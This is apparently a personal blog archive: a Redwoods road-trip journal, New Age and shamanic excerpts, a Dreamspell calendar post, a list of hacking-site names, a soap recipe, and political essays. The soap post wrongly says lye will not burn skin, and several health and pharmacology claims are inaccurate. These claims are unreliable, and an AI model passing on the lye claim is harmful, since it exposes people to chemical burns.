Monday Left Crescent City in the morning and drove about 20 miles south to Prairie Creek State Park. After discovering that I’d be spending my time in the Redwoods in a normal campsite, I decided to check out the site at the beach to see if I liked it better. The drive there started out simple enough — another 5 minutes on 101. Then I reached the turn-off to the site and discovered a rather large puddle in my way — deep enough that the water level was about halfway up my tires. Shortly after that, the pavement ended and the road turned into a dirt trail completely covered with pot-holes. It wasn’t very fun to try to navigate, but I made it through. After finally reaching the beach, the road deteriorated even more (I didn’t think it was possible). On top of the pot-holes doubling in size, there was a huge cliff to my right, which worried the Geologist inside of me. A few more minutes on that road and I reached the campsite, but decided that with the road, the cliff, and the wind, I preferred the camp site at the visitor’s center. So I turned right around, navigated the horrible road, drove through the puddle, and went back to the first site. After paying and setting up camp, I wandered around the smaller trails near the camp for a little bit before the sun started going down. After that, I ate dinner with the Elk (who are so “dangerous” that they’ll come right into your campsite to graze without paying you any mind), read a little in my book, and went to bed with the Sun. Not a bad Equinox.

Tuesday Woke up with the sun. After having breakfast with the Quail, I threw some snacks and toilet paper in my camelbak and headed off for a day of exploration. I walked all around the park, exploring misty Forest. At one point I was stalked by what looked to be a Mountain Lion, but I never saw any bears — perhaps they were still hibernating. I returned to the camp as the sun was going down, and had dinner. It was extremely painful to walk around camp that night, but I didn’t end up with any blisters. Went to bed with the Sun.

Wednesday Woke up with the sun. Since I had to be back in Eugene on Thursday, I decided I’d make half of the journey today. After wandering around the shorter trails that I’d explored Monday, I packed up the camp and got back on 101. I reached the site that I intended to stay at in the afternoon (a little south of Reedsport, OR). It didn’t seem worth it to me to set up my tent for just one night, so I decided that I’d sleep in the car that night. After paying the camp site fee, I ventured off to explore the sand dunes. Since I had no map of the area, all the dunes looked rather similar, and the wind was beginning to erase my tracks, I decided to cut that adventure short, but not without having a little fun. After arriving back at the camp, I snacked a bit and read my book. At one point, some lady came driving up to the site (I assume she must have been the camp host, a concept which I was only introduced to when I arrived at Prairie Creek). She rolled down her window and asked if I needed help. I said no. (I only ever realize this after the fact, but, for some reason, people always ask me if I need help when they’re confused. I don’t know why they can’t just say what they mean — they’re obviously the ones that need help. I always take the question literally and reply no.) After that she asked if I knew that I was in a campsite — that seemed rather insulting, but, since this was my first contact with civilization in a few days, I assumed that in her eyes I might somehow seem strange and just needed to adjust back to their ways. After a little more dancing around the subject, I realized what she wanted to know if I had paid or not. Why she couldn’t just have asked that in the first place, I don’t know. I pointed to the receipt that was pinned to the post at the entrance to the site, literally right in front of her. She drove off, and I went back to reading. As the sun went down, I got into my car and went to sleep, but woke up often and wasn’t very comfortable — sleeping in the car apparently isn’t for me.

Thursday Woke up with the sun and drove back to Eugene. Wade had a final at 3pm, so we decided to leave Friday morning. We wandered around campus a bit, only to come back to the dorm and find that I’d gotten a $20 ticket for parking in a permitted lot without a permit. I paid that, then drove over to his friend’s house to avoid getting another ticket. After a couple hours hanging out there, two of the people wanted to go to a show in Portland, but I was blocking them in. So I went out to move my car, and discovered that I’d locked the keys in the ignition — something I’ve never done before. (I think my car was getting back at me for sleeping in it.) The locksmith was quick and only cost $35, so it wasn’t too bad. We hung out in the dorms that night, but I was still on Forest time, so I had to go to bed soon after the sun went down. Spent the night on a couch at one of Wade’s friend’s house.

Friday Woke up a bit after the sun. I drove back to the dorms to get Wade and Jordon up. After they packed, we drove out to the coast and got back on 101 — this time going North to Astoria, OR. We made good time, stopping only at the Tillamook Cheese Factory because Jordon said it was a law that if you drove through Tillamook, you had to stop (and I wanted ice cream). A few miles south of Astoria, we pulled off at a turn around and jumped the barrier. Jordon led us through the bush, out to a cliff he knew about with a view. We arrived in Astoria just as the sun went down. Jordon’s parents took us out to dinner, and then we hung out at a friend’s house.

Saturday We explored Astoria a bit more, then Wade and I got back on the road again. We headed north on 101 for a while, headed East to Olympia, then got back on i-5 and went home, arriving at about 7pm.

Photos here.

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Images

Photos and video from the trip are in the gallery. Few of them turned out decently — it was the first time using my new camera.

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Alive

I just took my first shower all week.

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Be not detained

For me there is only the traveling on paths that have heart, on any path that may have heart. There I travel, and the only worthwhile challenge is to traverse its full length. And there I travel looking, looking, breathlessly.
  • Don Juan Matus

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Fangorn

I’m packed and ready to take off.

To be a little more specific, I’ll be around the southern part of Prairie Creek Redwoods State Park, a part of the forest that’s been described to me as “Tolkienesque”.

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Symbiosis

An even more radical set of questions arises from the visions of some Western and Northern ayahuasqueros, particularly those steeped in evolutionary and ecological biology. Why do so many plants carry psychoactive tryptamines and other chemicals that are capable of producing profound consciousness-transforming perceptions in human beings, opening them up to the deepest mysteries of life and death? On one level this confirms the basic unity of all life on Earth, the oneness of the molecular genetic code. But the usual Darwinian assumption is that nothing evolves by chance — natural selection works to favor those structures and capabilities that are adaptive in some way. So how is it adaptive for plants to produce alkaloids that seemingly serve no other particular function, and yet provide profound healing or insight in the human?

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Hide the children

National Communication Systems list of “Hacking Sites”

(When it comes to hacking sites on the web, it really depends on your perspective as to who’s a good guy and who’s not. Just because someone has exploits on their site, it doesn’t mean they’re evil, but they’re probably not saints either. Anyway, some hats are blacker than others; these are mostly various shades of gray and will hopefully give you a feel for what’s going on in the hacking underground. Some may contain offensive content. Proceed at your own risk!)

 * 2600
 * Antioffline
 * attrition.org
 * Cult of the Dead Cow (cDc)
 * CyberArmy
 * Damage Inc.
 * DEF CON
 * Deleacroix AOD
 * Ghettohackers
 * Hacker Emergency Response Team (HERT)
 * Hack in the Box
 * Hackology
 * Hack Shock
 * Happy Hack
 * Higher Learning
 * Hackers Without Attitude (HWA)
 * Insecure.Org
 * Lady Sharrows Playground
 * Megasecurity.org
 * Mixter Security (Team Void)
 * Nomad Mobile Research Centre
 * Rain.Forest.Puppy
 * Sudden Discharge
 * TESO
 * w00w00 Security Development</blockquote>

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NightWalking

Change how you see and you change how you feel. Change how you feel and you change your experience of the world.

One of the most exciting aspects of Hawkeen Training is NightWalking, a technique used to bring about heightened states of consciousness through vision.

Research into the technique began with trying to understand what it was that caused athletes to experience “flow” or “peak experience”, the ability to “see the whole court.”

John Brodie, who was quarterback for the San Francisco 49ers some 25 years ago, has talked enthusiastically and knowledgeably about flow, perhaps encouraged by his friend, Michael Murphy, founder of Esalen Institute. He once recalled how in the midst of a game his level of play would suddenly jump to a higher plane. Though huge lineman crashed in on him, he was in perfect control as he calmly stepped back, set up, and threw. Brodie described how the football appeared to travel on a “wire of will” that connected him to his receiver, usually the peerless Gene Washington. He claimed that he had seen defensive backs cut in front of Washington to intercept the ball, but it had hopped over their fingertips and into the pass catcher’s hands. It seemed inevitable that the play be completed.
It was soon discovered that the same technique was used in swordsmanship.
In The Book of Five Rings, Miyamoto Musashi, the legendary swordsman of 16th century Japan, implies that he fought his greatest duels with his eyes crossed, and goes into considerable detail about developing and using this strange ability. He writes somewhat mysteriously about a state he entered while so engaged. He also refers to the two types of sight which he calls Ken and Kan. Ken registers the movements of surface phenomena; it’s the observation of superficial appearance. Kan is the examination of the essence of things, seeing through or into. For Musashi, Ken is seeing with the eyes, Kan is seeing with the mind, a difference paralleling that between style and substance. He gives instructions for developing Kan sight: “It is important to observe both sides without moving the eyes. It is no good trying to learn this kind of thing in great haste. Always be watchful in this manner and under no circumstances alter your point of concentration.”
Moreover, it is utilized by Tibetan Lung-gom-pas (spiritual walkers).
The walker must neither speak, nor look from side to side. He must keep his eyes fixed on a single distant object and never allow his attention to be attracted by anything else. When the trance has been reached, though normal consciousness is for the greater part suppressed, it remains sufficiently alive to keep the man aware of the obstacles in his way, and mindful of his direction and goal.

Any clear night is deemed good for the training of beginners, but strong starlight is especially favorable. One is often advised to keep the eyes fixed on a particular star. This appears connected with hypnotic effects, and we have been told that among novices who train themselves in that way, some stop walking when “their” star sinks below the skyline or rises above their head. Others, on the contrary, do not notice its disappearance because by the time that the star has passed out of sight, they have formed a subjective image of it which remains fixed before them.

Some initiates in the secret lore also assert that, as a result of long years of practice, after he has travelled over a certain distance, the feet of the lung-gom-pa no longer touch the ground, and that he glides on the air with an extreme celerity.

Not to be outdone, it is also utilized by Apache stalkers (they called it Owl Vision).

NightWalking is based upon these basic aspects of vision:

- Cones have a one-to-one correlation with nerve fibers while many rods may connect a single nerve fiber. - Cones are sensitive to color while rods primarily register the intensity of light. - Rods are much more sensitive to light than cones. - Rods are much more sensitive to the detection of movement than cones. - The cones and rods are parts of separate neurological systems and are processed separately. In fact, there is much speculation on just where information from these two systems intersects in the brain.

The idea is, you have two separate vision systems: central (cones) and peripheral (rods). By focusing your eyes on a fixed point in front of you and not moving them, you can, in effect, shut down your central vision system. Though it may seem that by doing this you’re actually hindering your senses, it’s proposed that by “seeing with your mind”, you are able to see more, yet with fewer distractions. Doing this while walking, one is able to see and manuever around all obstacles — without even thinking about it. In the dark, your cones are rarely used at all. Thus, walking at night extends the separation between rods and cones. NightWalking.

Not only were we learning to travel freely in the dark; it was becoming apparent that this capability connected us more directly to a nonconscious part of our brains that seems devoted to our safety and general security. Far from being a storehouse of fear, we found the nonconscious—or at least the aspect of it that is accessed through the state of peripheral awareness—to be a trustworthy protector that not only leads us around rocks, away from cliffs and back to the truck, but perhaps also serves as a guide to some natural state, to some most basic part of ourselves. In the peripheral state we felt comfortable, alert, relaxed, open, happy and very alive. Feelings of fear, anger, worry, doubt, and lust seem antithetical to the state, as if the neural wiring, whatever it is, for these such strong emotions, is bypassed. Benign accurately describes the feeling of NightWalking.

By switching to peripheral vision, all other senses switch to peripheral as well, bringing about a state of peripheral awareness. As described by Tony Hiss:

We can experience any place because we’ve all received, as part of the structure of our attention, a mechanism that drinks in whatever it can from our surroundings. This underlying awareness—we call it simultaneous perception—seems to operate continuously, at least during waking hours, even when our concentration seems altogether engrossed in something else entirely. While normal waking consciousness works to simplify perception, allowing us to act quickly and flexibly by helping us remain seemingly oblivious to almost everything except the task in front of us, simultaneous perception is more like an extra, or a sixth, sense: it broadens and diffuses the beam of attention evenhandedly across all the senses so we can take in whatever is around us—which means sensations of touch and balance, for instance, in addition to all sights, sounds, and smells.

Anytime we make conscious use of simultaneous perception, we can add on to our thinking. “One sees both close up and for miles, with the focus equal everywhere,” as art critic Robert Hughes has said of landscape drawings by nineteenth-century German Romantic painters. With the help of this extra sense, the familiar hard-and-fast boundary between ourselves and our surroundings seems softened, expanding our sense of the space occupied by “here” and the time taken up by “now,” and uncovering normally ignored patterns of relationships that make us part of larger groups and events. It’s simultaneous perception that allows any of us a direct sense of continuing membership in our communities, and our regions, and the fellowship of all living creatures … .

The whole secret to mastering peripheral awareness is keeping one’s visual attention independent from focused vision.”

NightWalking successfully brings one from water to air, bringing about a “pronounced calm”.

Walking while relying on peripheral vision requires that the conscious mind trust the nonconscious, and this inter-mind trust might be the essence of relaxation itself.

Perhaps unbeknownst to us, this is a state we all enter at some point. I often find myself “zoning out” in order to concentrate. Though my vision is no longer focused, I feel my sense elevated in this non-ordinary state of reality.

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Galactic Code

(All the following information was gathered from the extended birthday decoder. Try it out on your own.)

As I’ve mentioned previously, on the Dreamspace calendar, your birthday decodes to a Galactic Code. The code consists of three parts: a color, a tone, and a seal.

Mine happens to be Red Self-Existing Skywalker.

There are 20 seals on the calendar. Skywalker is the 13th. (It also has a little mantra that goes along with it: “Explores. Space.”) In so-called Galactic Notation, the number 13 is written with two bars, one on top of the other, and 3 dots in a line on top of that. Based on the number of dots in the number of your seal, you’re assigned an Earth Family, consisting of the other seals that have the same number of dots. I’m part of the three-dot family, which includes 3, 8, 13, and 18.

Self-existing is the 4th tone (4 dots in a line), of a possible 13 for each seal. (In Dreamspace, anything consisting of 13 is called a wavespell.)

Based on all this, you’re able to decode a 52 Year Destiny Castle, which is too complicated for me to attempt to explain here.

Your Galactic Code also comes with 5 kins — five different seals that relate to you. A destiny kin (“basis of life destiny” - mine is Skywalker), an analog kin (“like-minded power” - mine is World-Bridger), an antipode kin (“challenge power” - mine is Night), an occult kin (“hidden power of 7, the unexpected” - mine is Star), and a guide kin (“fifth force outcome power” - mine is Moon).

A poem is also created for you, based on your code. For Red Self-Existing Skywalker, I’m given:

I Define in order to Explore Measuring Wakefullness I seal the Output of Space With the Self-Existing tone of Form I am guided by the power of Universal Water

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Congratulations

Vavrek and Emma‘s wedding was yesterday.

I’m sorry I couldn’t go.

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Quest

The week after next is my spring break. I’ve through countless plans in the past couple months, but I think I’ve finally settled on this:

I’ll leave Saturday morning, the 18th, get on I-5, and pull into Eugene, OR at about 5, where I’ll spend the night with Wade at the University of Oregon. Sunday morning I’ll take off from there, head over to Highway 101 and drive down the coast to Redwood National Park (probably the area around Crescent City, CA). Depending on the timing, I may spend Sunday night in the forest or just in the car on the side of the road. The rest of the week, till Thursday, I’ll backpack around the Redwoods and explore. Thursday I’ll head back up 101 and spend the night in the sand dunes on the Oregon coast. Friday I’ll continue up the coast, probably till somewhere around Ocean Shores, WA, where I’ll cut east to Olympia, WA, get back on I-5 and head home.

Of course, this is all tentative, and will probably change. 101 may end up being too slow going on the return journey, I may run out of food in the Redwoods, or gas money somewhere along the line.

Vavrek and I were trying to get together at some point during the trip, but that didn’t work out.

If anybody resides along my path, let me know. Perhaps we can get together.

There’s been some strange weather all along the west coast the past couple weeks. Snow, hail, thunder storms, and a tornado. Not the best time to go backpacking, especially without a tent, but what the hell. (I do have a poncho, which I’ve figured out how to turn into a shelter.)

Someone’s gotta do it.

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Dream Time

The world or cosmos is multidimensional, a spectrum of many worlds. In most shamanic tradition we have upper, middle and lower worlds. In some mythic-shamanic traditions we have five, seven, nine, or more worlds, often arrayed around a central tree or axis, the axis mundi. Other names for these nonordinary realms are “spirit world,” “otherworld,” “faery world,” and “dreamtime.” In esoteric and theosophical traditions we usually hear of seven levels of consciousness, such as the etheric, the astral, the mental, and so forth. In the Indian and Tibetan traditions as well there are many levels or realms of consciousness, sometimes arranged in a circle on a wheel. In the shamanic traditions, and in the experiences of contemporary neoshamanic practitioners, with or without mind-moving substances, experiences of visiting other worlds are quite common. Also, of course, they are accessible via dreams. Alternatively, the person may feel that the veils, barriers or screens between worlds can become transparent or porous, so one can see and be in both the ordinary and the spirit world at the same time (and in the same place).

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Goodbye, Loompanics

Bad news: Loompanics is going out of business. Good news: All books are 50% off.

Loompanics is the definition of a subversive bookstore. Many of their titles are hard to find, but may get you shot in a few years.

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The Cult of Culture

By far the greatest Terence McKenna lecture I’ve yet experienced is his Culture and Ideology are not your friends, given in Denver, April 1999.

And for the amount of time I spend listening to Terence, that’s saying something.

“This is a struggle between novelty and habit … [Your culture] is the greatest barrier to your enlightenment, your education, and your decency … Cultures are virtual realities made of language.”

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13 Moons

The 13 Moon calendar is a replacement for our current Gregorian calendar, which the proponents of the 13 Moon system claim is out of harmony with nature and contributes to our destruction. “The 13 moon calendar,” they claim “is a positive, concrete act demonstrating the move from fear to love, from chaos to harmony, from war to peace.”

(In the words of Robert Anton Wilson, “the Gregorian calendar, the standard Occidental system, dates everything from the alleged birth of a comic-book super-hero I regarded as fictitious. He supposedly had a virgin for mother, a pigeon for father, and cured the blind by throwing dirt in their eyes.” As well, it is “interrupted by an artificial minus-to-plus changeover to commemorate the god of a single weird cult.”)

The particular system that I was recently introduced to, called Dreamspace, was created by Jose Arg’elles.

The calendar is loosely based off of the Mayan calendar. Instead of months, we have moons — 13 of them instead of 12, since the Moon rotates around the Earth 13 times in one year. Each moon consists of 28 days, which comes from the 28 day female menstruation cycle (menstruation comes from the Latin word for “month”, which is closely related to the Latin word for “moon”) and the average between the time it takes for the Moon to move around the earth (27.1 days) and the period between new Moons (29.53 days). Another unit of the calendar is the Solar-Galactic Cycle — 52 years during which no two days repeat.

It is proposed that changing the 13 Moon calendar will bring about the “complete reformulation of the human mind.

Though 13 * 28 = 364, the 13 Moon calendar still has 365 days a year. The 365th day — the old July 25th — is called the Day Out of Time. “This day is no day of the week or month at all. A true freedom day for the forgiveness of debts and the celebration of Time is Art.

On the 13 Moon calendar, your birthday corresponds to your Galactic Signature, which can be found and decoded here. The signature involves three components: a color, a tone, and a seal. It places you into an Earth family, a color family, a tribe and a clan.

The Dreamspace calendar is often criticised for its loose base on the Mayan calendar. “Amongst many criticisms levelled at it, it is pointed out that the interpretation merely co-opts an ancient tradition by recasting it in New Age terms, unknown, unused and undocumented among the Maya. Many of Dreamspell’s influences come from non-Mayan sources, such as the I Ching and pop psychology. What’s more, Arguelles’ calendar is based on a different day-count than the traditional Mayan calendar.”

Regardless of the criticism of this particular system, its more esoteric components and linking with the 2012 “doomsday” prophecies, a Moon calendar, which inarguably strengthens our connection with natural cycle, certainly seems superior to that which we currently employ. (The Gregorian calendar, as I understand, is actually a Solar calendar meant to stay in sync with the seasons. Yet the Moon goes through its cycles much more frequently than the seasons, which to me strengthens its appeal over a solar calendar.) I’ll be looking more into this and other alternative calendars in the future.

For more information, I recommend reading the self study pilot program as an introduction. As well, there’s more here.

Moon One - July 26 to August 22 Moon Two - August 23 to September 19 Moon Three - September 20 to October 17 Moon Four - October 18 to November 14 Moon Five - November 15 to December 12 Moon Six - December 13 to January 9 Moon Seven - January 10 to February 6 Moon Eight - February 7 to March 6 Moon Nine - March 7 to April 3 Moon Ten - April 4 to May 1 Moon Eleven - May 2 to May 29 Moon Twelve - May 30 to June 26 Moon Thirteen - June 27 to July 24

Dali - Friday Seli - Saturday Gamma - Sunday Kali - Monday Alpha - Tuesday Limi - Wednesday Silio - Thursday

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The Web

The fundamental reality of the universe is a continuum, a unitive field or fabric, of both energy and consciousness, that is beyond time, space and all forms, and yet somehow mysteriously within them, simultaneously transcendent and imminent. In traditional Asian religions, this unitive field is variously referred to as Tao, or Atman-Brahman, or Tantra (the “web” of “fabric”) or the “jeweled net of Indra.” Some Native North Americans refer to it as Wakan-Tanka, the all-pervading Creator Spirit. In the traditional Anglo-Saxon religion of the British Isles, it was called the wyrd, an invisible network of magical forces. In theistic religions like Christianity, this oneness corresponds to what is called the Godhead, i.e., beyond the personal deity. In the systems language of postmodern science it is seen as an infinitely complex system of interrelationships, or “web of life.” At the level of the planet Earth, this integrated whole is referred to as Gaia — the name of the ancient Greek Earth Goddess that has become the name of the whole Earth considered as a purposive intelligence living superorganism.

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Escape

Sometimes one needs to return to the real world and escape all the concrete.

I spent last night at the shelter in the Arboretum. It was surprisingly cold out, even though the weather report said it wasn’t supposed to get below 37F and I was sleeping in a 30F bag. I didn’t encounter the cougar that I hear lives in there, but a few owls did come out. Surprisingly I also heard people walking around in the middle of the night.

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Sacred Vine of Spirits: Ayahuasca

Today I finished reading Ralph Metzner’s Sacred Vine of Spirits: Ayahuasca.

Ayahuasca (which translates to either “vine of the dead” or “vine of the spirits”) is a hallucinogenic tea, native to South America and used there for shamanic healing purposes since pre-history. Also known as caapi, hoasca, yagé, natéma, mihi, kahi, pinde, and dapa, the brew is made of the bark of the vine Banisteriopsis caapi (which itself is also known as Ayahuasca) and (most commonly) the leaves of Psychotria viridis. Psychotria viridis is what contains the dimethyltryptamine (DMT), making the mixture hallucinogenic, but the DMT, when consumed orally, is made inactive by monamine oxidase (MOA). Thus the bark of the Banisteriopsis caapi is used for its MOA inhibiting property, allowing the DMT to take its course. Most interestingly, DMT is almost identical in structure to Serotonin, a neurotransmitter produced throughout the brain and responsible for “higher functions of behavior, such as planning and other time-related events.” Serotonin is eventually deactived by the same thing that deactives DMT, MOA. So, one could consume only the bark of the Ayahuasca vine (or any other MOA inhibiter) and receive a similar psychoactive active to that produced by DMT. (Apparently some antidepressants take this route.) Terence McKenna, in many of his recordings, fondly referred to the Ayahuasca brew as “brain soup”, since nothing in it is not naturally in your body.

As another interesting aside, there is DMT in your body right now (the human body naturally produces it), yet, in the United States, it is illegal to possess without a DEA license. Go to jail.

The first 100 pages or so of the book goes over the scientific, medical, and psychological properties of the tea, providing for more knowledge on the brew than I thought possible to know. The rest of the book is devoted to various first-hand experiences with Ayahuasca — all of which are excellent. I recommend the book highly for anyone remotely interested in Ayahuasca, psychology, or medicine.

(During my reading of this book, the U.S. Supreme Court came very close to recognizing Ayahuasca as a religious sacrament.)

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Kill Your TV

TV encourages mass passivity, burns images permanently into our brain that are chosen by an elite few and trains people to accept authority. Television limits and confines human knowledge. It accelerates our alienation from nature and leads to its destruction. Television homogenizes those who watch it, making the population more efficient cogs in the economic system, making the population easier to control. Television is inherently antidemocratic—furthermore it aids the creation of societal conditions which produce autocracy, and it dulls our awareness that this is happening. Television, as a technology, is inherently biased towards these effects—they cannot be eliminated by better management or better programing. Oh, and it causes cancer too.

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Afterculture

The truth is that for the first time we are bereft of a positive vision of where we are going. This is particularly evident among kids. Their future is either Road Warrior post-apocalypse, or Blade Runner mid-apocalypse. All the futuristic computer games are elaborations of these scenarios, heavy metal worlds where civilization is crumbling into something weird and violent (but more exciting than now). The Afterculture is an attempt to transmute this folklore of the future into something deep and rich and convincingly real. If we are to pull a compelling future out of environmental theory and recycling paradigms, we are going to have to clothe the sacred in the romantic. The Afterculture is part of an ongoing work to shape a new mythology by sources as diverse as Thoreau and Conan and Dances with Wolves and Iron John. The Afterculture is not “against” the problems of our times, and it’s not about “band-aid solutions” to the grim jam we find ourselves in. It’s about opening up a whole new category of solutions, about finding another way of being: evolved, simpler, deeper, even more elegant. Even more cool. Even very cool.

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Today, we make soap

(Did you know 60% of anything you put in your skin will go into your bloodstream?)

Today was my Soap Alchemy class. We made cold process soap with palm oil, coconut oil, and olive pomace oil. One batch we put in lavender, the other peppermint. Right now, the soap looks like this:

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In 48 hours it will harden and I’ll take it out of the mold (paper cup). Then, in 30 days, the lye will have completed mixing with the oils and I’ll have soap.

Here are the recipes Suzanne gave us:

Cold Process Soap Materials: -Stainless steel pot (8-12 qt, no aluminum) -Scale (measuring in ounces preferred) -Glass jar (gallon size — check for cracks before use) or 4-8qt stainless steel pot -Wooden spoon (used for soap only) -Soap molds - no aluminum, cast iron, or teflon -Soap base oils, lye, water, herbs, spices, essential oils.

Directions -Measure lye and place into glass jar or small stainless steel pot. Add cold water and stir until lye is dissolved. You may choose to wear eye protection and rubber gloves. The water will get very hot (180F). Be careful of the rising steam, as it is caustic and irritating to the throat and lungs. Set aside to cool to room temperature (may put container in tub of cold water). -Melt oils together on high heat in stainless steel pot. Remove from heat (do not let smoke), set aside to cool to room temperature (may put pot in tub of cold water). -Pour lye solution slowly into oils when the lye solution and fats are room temperature. -Stir constantly until mixture is thick and creamy with a “pea soup” consistency: approx 15-20 minutes -Stir in essential oils (1/2~1 1/2 oz) and dried herbs and spices with the amounts to your preference. -Pour into molds. -Cover and keep warm. Place in a draft free warm area for 48 hours. -Remove the soap from the molds. If there is any difficulty removing the soap from the molds, place them in your freezer for 24 hours. Run warm water over the bottom of the molds, the soap will slide out easily. -Cut and let cure in the open air for 30 days.

2 Basic Soap Recipes Recipe #1 40 oz. Palm Oil 25 oz. Coconut Oil 20 oz. Olive Pomace Oil 32 oz. Cold Water 10 1/2 oz. Lye

Recipe #2 40 oz. Coconut Oil 45 oz. Olive Pomace Oil 32 oz. Cold Water 10 1/2 oz. Lye

The above is for cold process soap. Hot process soap — which we didn’t make in my class today — takes a little more effort up front, but is usable in a few hours, instead of 30 days.

The recipes will make about 25 bars of soap.

It’s important that you acquire Olive Pomace Oil — not just Olive Oil or Pomace Oil. This is the third pressing of the olive.

Suzanne, my instructor, uses an oak mold which she first lines with parchment paper.

Lye, contrary to Fight Club, will not burn you. It dries your skin, which will cause itching. Simply rinse it off with water and pat dry.

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Navigating the Collapse of Civilization

by Carolyn Baker, Ph.D

…collapse strips us of who we think we are so that who we really are may be revealed. Civilization’s toxicity has fostered the illusion that one is, for example, a professional person with money in the bank, a secure mortgage, a good credit rating, a healthy body and mind, raising healthy children who will grow up to become successful like oneself, and that when one retires, one will be well-taken-care of. If that has become your identity, and if you don’t look deeper, you won’t discover who you really are; and when collapse happens, you will be shattered because you have failed to notice the strengths, resources, and gifts that abide in your essence which transcend and supersede your ego-identity. In a post-collapse world, academic degrees and stock portfolios matter little. The real question, as Richard Heinberg so succinctly puts it is: Do you know how to make shoes?

..collapse will decimate our anti-tribal, individualistic, Anglo-American programming by forcing us to join with others for survival. You may own a home outright with ample acreage on which you have produced a stunning organic garden, have a ten-year cache of food and water, drive a hybrid car, and live a completely solarized life, but if you think you will survive in isolation, you are tragically deluded. Collapse dictates that we will depend on each other, or we will die.

For millennia, many indigenous people have described the demise of civilization we are now witnessing as a purification process: a time of rebirth and transformation. Their ancient wisdom challenges us to face with equanimity the collapse that is in process; that is, to hold as much as humanly possible in our hearts and minds, the reality of the pain the collapse will entail, alongside the unimaginable opportunities it offers.

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Rsnapshot

I’ve been messing with rsnapshot for the past couple days. The config file is really picky about the differences between spaces and tabs, but, other than that, it’s a great tool.

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10 Years

A Declaration of the Independence of Cyberspace by John Perry Barlow (barlow@eff.org) Governments of the Industrial World, you weary giants of flesh and steel, I come from Cyberspace, the new home of Mind. On behalf of the future, I ask you of the past to leave us alone. You are not welcome among us. You have no sovereignty where we gather. We have no elected government, nor are we likely to have one, so I address you with no greater authority than that with which liberty itself always speaks. I declare the global social space we are building to be naturally independent of the tyrannies you seek to impose on us. You have no moral right to rule us nor do you possess any methods of enforcement we have true reason to fear. Governments derive their just powers from the consent of the governed. You have neither solicited nor received ours. We did not invite you. You do not know us, nor do you know our world. Cyberspace does not lie within your borders. Do not think that you can build it, as though it were a public construction project. You cannot. It is an act of nature and it grows itself through our collective actions. You have not engaged in our great and gathering conversation, nor did you create the wealth of our marketplaces. You do not know our culture, our ethics, or the unwritten codes that already provide our society more order than could be obtained by any of your impositions. You claim there are problems among us that you need to solve. You use this claim as an excuse to invade our precincts. Many of these problems don’t exist. Where there are real conflicts, where there are wrongs, we will identify them and address them by our means. We are forming our own Social Contract . This governance will arise according to the conditions of our world, not yours. Our world is different. Cyberspace consists of transactions, relationships, and thought itself, arrayed like a standing wave in the web of our communications. Ours is a world that is both everywhere and nowhere, but it is not where bodies live. We are creating a world that all may enter without privilege or prejudice accorded by race, economic power, military force, or station of birth. We are creating a world where anyone, anywhere may express his or her beliefs, no matter how singular, without fear of being coerced into silence or conformity. Your legal concepts of property, expression, identity, movement, and context do not apply to us. They are all based on matter, and there is no matter here. Our identities have no bodies, so, unlike you, we cannot obtain order by physical coercion. We believe that from ethics, enlightened self-interest, and the commonweal, our governance will emerge . Our identities may be distributed across many of your jurisdictions. The only law that all our constituent cultures would generally recognize is the Golden Rule. We hope we will be able to build our particular solutions on that basis. But we cannot accept the solutions you are attempting to impose. In the United States, you have today created a law, the Telecommunications Reform Act, which repudiates your own Constitution and insults the dreams of Jefferson, Washington, Mill, Madison, DeToqueville, and Brandeis. These dreams must now be born anew in us. You are terrified of your own children, since they are natives in a world where you will always be immigrants. Because you fear them, you entrust your bureaucracies with the parental responsibilities you are too cowardly to confront yourselves. In our world, all the sentiments and expressions of humanity, from the debasing to the angelic, are parts of a seamless whole, the global conversation of bits. We cannot separate the air that chokes from the air upon which wings beat. In China, Germany, France, Russia, Singapore, Italy and the United States, you are trying to ward off the virus of liberty by erecting guard posts at the frontiers of Cyberspace. These may keep out the contagion for a small time, but they will not work in a world that will soon be blanketed in bit-bearing media. Your increasingly obsolete information industries would perpetuate themselves by proposing laws, in America and elsewhere, that claim to own speech itself throughout the world. These laws would declare ideas to be another industrial product, no more noble than pig iron. In our world, whatever the human mind may create can be reproduced and distributed infinitely at no cost. The global conveyance of thought no longer requires your factories to accomplish. These increasingly hostile and colonial measures place us in the same position as those previous lovers of freedom and self-determination who had to reject the authorities of distant, uninformed powers. We must declare our virtual selves immune to your sovereignty, even as we continue to consent to your rule over our bodies. We will spread ourselves across the Planet so that no one can arrest our thoughts. We will create a civilization of the Mind in Cyberspace. May it be more humane and fair than the world your governments have made before. Davos, Switzerland February 8, 1996

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I’m sleeping in tomorrow.

I talked to my computer science professor today and discovered that, if I email him my program the night before, I don’t have to attend lab. I don’t want to make a habit of it, but not having to wake up at 7AM on Tuesdays for lab is awesome — and I always write the code for lab assignments the night before, anyways.

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Fourteen Defining Characteristics Of Fascism

By Dr. Lawrence Britt Dr. Lawrence Britt has examined the fascist regimes of Hitler (Germany), Mussolini (Italy), Franco (Spain), Suharto (Indonesia) and several Latin American regimes. Britt found 14 defining characteristics common to each: 1. Powerful and Continuing Nationalism - Fascist regimes tend to make constant use of patriotic mottos, slogans, symbols, songs, and other paraphernalia. Flags are seen everywhere, as are flag symbols on clothing and in public displays. 2. Disdain for the Recognition of Human Rights - Because of fear of enemies and the need for security, the people in fascist regimes are persuaded that human rights can be ignored in certain cases because of “need.” The people tend to look the other way or even approve of torture, summary executions, assassinations, long incarcerations of prisoners, etc. 3. Identification of Enemies/Scapegoats as a Unifying Cause - The people are rallied into a unifying patriotic frenzy over the need to eliminate a perceived common threat or foe: racial , ethnic or religious minorities; liberals; communists; socialists, terrorists, etc. 4. Supremacy of the Military - Even when there are widespread domestic problems, the military is given a disproportionate amount of government funding, and the domestic agenda is neglected. Soldiers and military service are glamorized. 5. Rampant Sexism - The governments of fascist nations tend to be almost exclusively male-dominated. Under fascist regimes, traditional gender roles are made more rigid. Divorce, abortion and homosexuality are suppressed and the state is represented as the ultimate guardian of the family institution. 6. Controlled Mass Media - Sometimes to media is directly controlled by the government, but in other cases, the media is indirectly controlled by government regulation, or sympathetic media spokespeople and executives. Censorship, especially in war time, is very common. 7. Obsession with National Security - Fear is used as a motivational tool by the government over the masses. 8. Religion and Government are Intertwined - Governments in fascist nations tend to use the most common religion in the nation as a tool to manipulate public opinion. Religious rhetoric and terminology is common from government leaders, even when the major tenets of the religion are diametrically opposed to the government’s policies or actions. 9. Corporate Power is Protected - The industrial and business aristocracy of a fascist nation often are the ones who put the government leaders into power, creating a mutually beneficial business/government relationship and power elite. 10. Labor Power is Suppressed - Because the organizing power of labor is the only real threat to a fascist government, labor unions are either eliminated entirely, or are severely suppressed. 11. Disdain for Intellectuals and the Arts - Fascist nations 